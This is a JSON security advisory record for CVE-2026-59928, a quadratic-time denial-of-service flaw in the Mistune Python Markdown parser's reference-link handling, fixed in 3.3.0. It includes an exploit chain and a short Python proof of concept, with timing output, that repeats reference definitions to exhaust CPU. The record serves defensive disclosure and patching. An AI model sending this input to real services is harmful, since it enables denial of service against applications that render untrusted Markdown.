{"id":"CVE-2026-59928","aliases":["CVE-2026-59928","GHSA-ffq3-xpv3-j92q","PYSEC-2026-2216"],"related":[],"kind":"vulnerability","state":"published","title":"Mistune block_parser: quadratic-time parsing on long lists of repeated reference-link definitions","summary":"Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.3.0, a Markdown document containing many repeated or distinct reference-link definitions causes quadratic work in src/mistune/block_parser.py and the ref_links environment dictionary handling, allowing denial of service through CPU exhaustion. This issue is fixed in version 3.3.0.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.3.0, a Markdown document containing many repeated or distinct reference-link definitions causes quadratic work in src/mistune/block_parser.py and the ref_links environment dictionary handling, allowing denial of service through CPU exhaustion. This issue is fixed in version 3.3.0.","source":"cvelist"},{"lang":"en","text":"## Summary\n\n**Type:** Algorithmic-complexity DoS in reference-link definition handling. A markdown document with N reference-link definitions of the same key (or many distinct keys) takes O(N²) parser time. 5000 repeated `[a]: u\\n` definitions take ~1.1 second; 10000 → ~4.5 seconds.\n**File:** `src/mistune/block_parser.py` (reference-link def parsing) and the surrounding `ref_links` env-dictionary handling.\n**Root cause:** every reference definition is parsed by scanning forward from each candidate position. The `unikey` normalisation runs per-def, the dictionary insert is per-def, and the lookup-by-label-then-iterate-defs path is linear in the number of stored defs. For input with N defs, the total work is O(N²).\n\n## Affected Code\n\n`src/mistune/block_parser.py` — reference-definition rule fires on every line that matches `[label]: url`. For each one:\n- `unikey(label)` is called (linear scan of the label).\n- The def is appended to `state.env['ref_links']`.\n- Later inline-link resolution looks up by `unikey(label)` in the dict (O(1)) but the surrounding parser revisits the def list for paragraph-vs-def disambiguation.\n\nThe cumulative parse time grows as the square of the number of defs.\n\n**Why it's wrong:** the parser does not amortise the def-list scan. A single forward pass with a hash-keyed dict (already in place) plus a per-line classifier should make this O(N).\n\n## Exploit Chain\n\n1. Application uses mistune to render attacker-supplied markdown. No plugins required.\n2. Attacker submits a 35 KB document of `[a]: u\\n` repeated 5000 times followed by `[click][a]`.\n3. CPU pegs for ~1.1 seconds. 10000 defs → ~4.5 s. 20000 → ~18 s. Doubling input quadruples time.\n\n## Security Impact\n\n**Attacker capability:** small input → large CPU. Predictable scaling. Can be repeated.\n**Preconditions:** application uses `mistune.create_markdown()` (default config) on attacker-supplied markdown. Worth noting: the `ref_links` dictionary persists for the lifetime of the parse, so a long document with many defs builds up memory; with N defs of attacker-chosen length, the per-def normalisation cost compounds.\n**Differential:** PoC-verified against mistune@3.2.1, default config:\n\n```python\nimport mistune, time\nmd = mistune.create_markdown()\nfor n in [1000, 2000, 5000, 10000]:\n    s = '[a]: u\\n' * n + '[click][a]'\n    t = time.time()\n    md(s)\n    print(f'  ref defs * {n} ({len(s)}b): {(time.time() - t) * 1000:.0f}ms')\n\n# Output (Python 3.13, Linux, 2.5GHz CPU):\n#   ref defs *  1000  ( 7012b):    46ms\n#   ref defs *  2000 (14012b):   186ms\n#   ref defs *  5000 (35012b):  1121ms\n#   ref defs * 10000 (70012b):  4400ms\n```\n\nThe patched build (with the surrounding parser amortised to O(N)) keeps the time linear.\n\n## Suggested Fix\n\nReplace the per-def re-scan with a single forward pass that classifies each line into `ref_def | paragraph | other` once and only inserts into `ref_links` once per def. The dict already exists; the wasted work is in the surrounding scan loop, not in the dict operations.\n\nA regression test asserting that `md('[a]: u\\n' * 50_000 + '[click][a]')` completes in under 1 second would catch any regression.","format":"markdown","source":"ghsa"},{"lang":"es","text":"Mistune es un analizador de Markdown para Python con renderizadores y complementos. Antes de la versión 3.3.0, un documento Markdown que contiene muchas definiciones de enlaces de referencia repetidas o distintas causa un trabajo cuadrático en src/mistune/block_parser.py y en el manejo del diccionario de entorno ref_links, lo que permite la denegación de servicio mediante el agotamiento de la CPU. Este problema se solucionó en la versión 3.3.0.","source":"nvd"}],"published":"2026-07-08T16:23:21.000Z","modified":"2026-10-25T17:10:00.197Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"}],"cwes":["CWE-407","CWE-1333"],"affected":[{"ranges":[{"version":"< 3.3.0","status":"affected"}],"vendor":"lepture","product":"mistune","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"3.3.0"}],"ecosystem":"PyPI","package":"mistune","purl":"pkg:pypi/mistune","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"3.3.0"}],"vendor":"mistune_project","product":"mistune","cpe":"cpe:2.3:a:mistune_project:mistune:*:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"3.3.0"}],"ecosystem":"PyPI","package":"mistune","purl":"pkg:pypi/mistune","source":"pysec"}],"references":[{"url":"https://github.com/lepture/mistune/security/advisories/GHSA-ffq3-xpv3-j92q","tags":["evidence","exploit","third-party-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/lepture/mistune/commit/2b04d7ba341c16ac78fe82d3076bdd5c3de87c69","tags":["fix","patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/lepture/mistune/releases/tag/v3.3.0","tags":["advisory","release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59928","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/lepture/mistune","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/mistune/PYSEC-2026-2216.yaml","tags":["web"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-07-08T17:46:13.539Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-59928","url":"https://www.cve.org/CVERecord?id=CVE-2026-59928","licence":"CVE Terms of Use","modified":"2026-07-08T19:40:43.968Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-ffq3-xpv3-j92q","url":"https://github.com/advisories/GHSA-ffq3-xpv3-j92q","licence":"CC-BY-4.0","modified":"2026-07-20T21:30:38.320Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-59928","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59928","licence":"Public domain","modified":"2026-10-25T17:10:00.197Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-2216","url":"https://osv.dev/vulnerability/PYSEC-2026-2216","licence":"CC-BY-4.0","modified":"2026-07-13T07:15:18.812Z"}],"updatedAt":"2026-11-25T22:59:27.406Z","epss":{"score":0.00413,"percentile":0.37582,"date":"2026-12-01T12:00:22.000Z"}}